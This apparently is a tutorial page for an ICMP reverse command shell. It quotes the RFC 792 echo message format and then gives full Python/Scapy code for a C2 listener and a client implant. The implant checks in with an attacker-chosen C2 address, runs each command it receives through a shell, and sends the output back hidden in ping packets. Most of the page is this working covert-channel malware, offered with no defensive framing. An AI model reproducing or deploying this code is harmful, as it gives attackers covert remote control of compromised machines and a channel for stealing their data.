ICMP Reverse Command Shell

Echo or Echo Reply Message

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Type      |     Code      |          Checksum             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Identifier          |        Sequence Number        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Data ...
   +-+-+-+-+-

   IP Fields:

   Addresses

      The address of the source in an echo message will be the
      destination of the echo reply message.  To form an echo reply
      message, the source and destination addresses are simply reversed,
      the type code changed to 0, and the checksum recomputed.

   IP Fields:

   Type

      8 for echo message;

      0 for echo reply message.

   Code

      0

   Checksum

      The checksum is the 16-bit ones's complement of the one's
      complement sum of the ICMP message starting with the ICMP Type.
      For computing the checksum , the checksum field should be zero.
      If the total length is odd, the received data is padded with one
      octet of zeros for computing the checksum.  This checksum may be
      replaced in the future.

   Identifier

      If code = 0, an identifier to aid in matching echos and replies,
      may be zero.

   Sequence Number


[Page 14]


September 1981
RFC 792



      If code = 0, a sequence number to aid in matching echos and
      replies, may be zero.

   Description

      The data received in the echo message must be returned in the echo
      reply message.

      The identifier and sequence number may be used by the echo sender
      to aid in matching the replies with the echo requests.  For
      example, the identifier might be used like a port in TCP or UDP to
      identify a session, and the sequence number might be incremented
      on each echo request sent.  The echoer returns these same values
      in the echo reply.

      Code 0 may be received from a gateway or a host.

def main():
	global interface, client
	parser = argparse.ArgumentParser()
	parser.add_argument("-i", "--interface", help="Interface to listen", required=True)
	args = parser.parse_args()

	interface = args.interface

	connected = False
	while not connected:
		connected = listen_clientconnection()

	prompt = CLIPrompt()
	prompt.prompt = '> '
	prompt.cmdloop('[*] Starting ICMP Exfil Command Shell...')

def listen_clientconnection():
	print ("[*] Listening for connections on interface: %s" % interface)

	captured = sniff(iface=interface, count=1,filter="icmp")
	inc_data = ""
	src_ip = ""
	for packet in captured:
		if packet[ICMP].type == 8:
			inc_data =  packet.load
		if IP in packet:
			src_ip = packet[IP].src

	if "EXFIL_BEGIN" in inc_data:
		print ("[+] Client Connected! \n\t IP: %s\n\t PLATFORM: %s" % (src_ip, inc_data[12:]))
		client.append(src_ip)
		return True
	else:
		return False

class CLIPrompt(Cmd):

	def do_quit(self, args):
		"""Quits the program."""
		print ("[*] Quitting.")

		# also send exit command to client
		self.do_exfil("exit")

		raise SystemExit

	def do_exfil(self, args):
		if len(args) == 0:
			print ("[*] exfil <command_to_run> or exit/quit")
			return

		command = args
		ip = client[0]

		send(IP(dst=ip) / ICMP() / command)

		if command in ["quit", "exit"]:
			print ("[*] Quitting.")
			raise SystemExit


		cap_filter = "icmp and ip host %s" % ip
		captured_data = sniff(iface=interface, count=1, filter=cap_filter)
		command_result = ""

		for packet in captured_data:
			if packet[ICMP].type == 8:
				command_result = packet.load

		print ("[+] Command Output:\n %s" % command_result)

def main():
	parser = argparse.ArgumentParser()
	parser.add_argument("-t", "--icmp-c2", help="IP of ICMP C2", required=True)
	args = parser.parse_args()

	# send the init connection ping
	connect_c2(args.icmp_c2)

	# start exfil loop
	exfil_client(args.icmp_c2)

def connect_c2(ip):
	run_platform = platform.system()
	if run_platform == "Linux":
		INIT_STRING = "EXFIL_BEGIN_LINUX"
	elif run_platform == "Windows":
		INIT_STRING = "EXFIL_BEGIN_WINDOWS"

	send(IP(dst=ip) / ICMP() / INIT_STRING)

def exfil_client(target_ip):

	filtr = "icmp and ip host %s" % target_ip

	while True:
		captured = sniff(count=1,filter=filtr)

		incoming_cmd = b""

		for packet in captured:
			if packet[ICMP].type == 8:
				incoming_cmd = packet.load

		if incoming_cmd:
			command = incoming_cmd.decode()
			print ("[*] Received Command: %s" % command)

			if command in ["exit", "quit"]:
				break
			else:
				try:
					outtext = co(command, shell=True)
				except:
					outtext = "[-] Error Running Command! Check Command"
				print ("[*] Exfiltrating command output")
				send(IP(dst=target_ip) / ICMP() / outtext)

	sys.exit()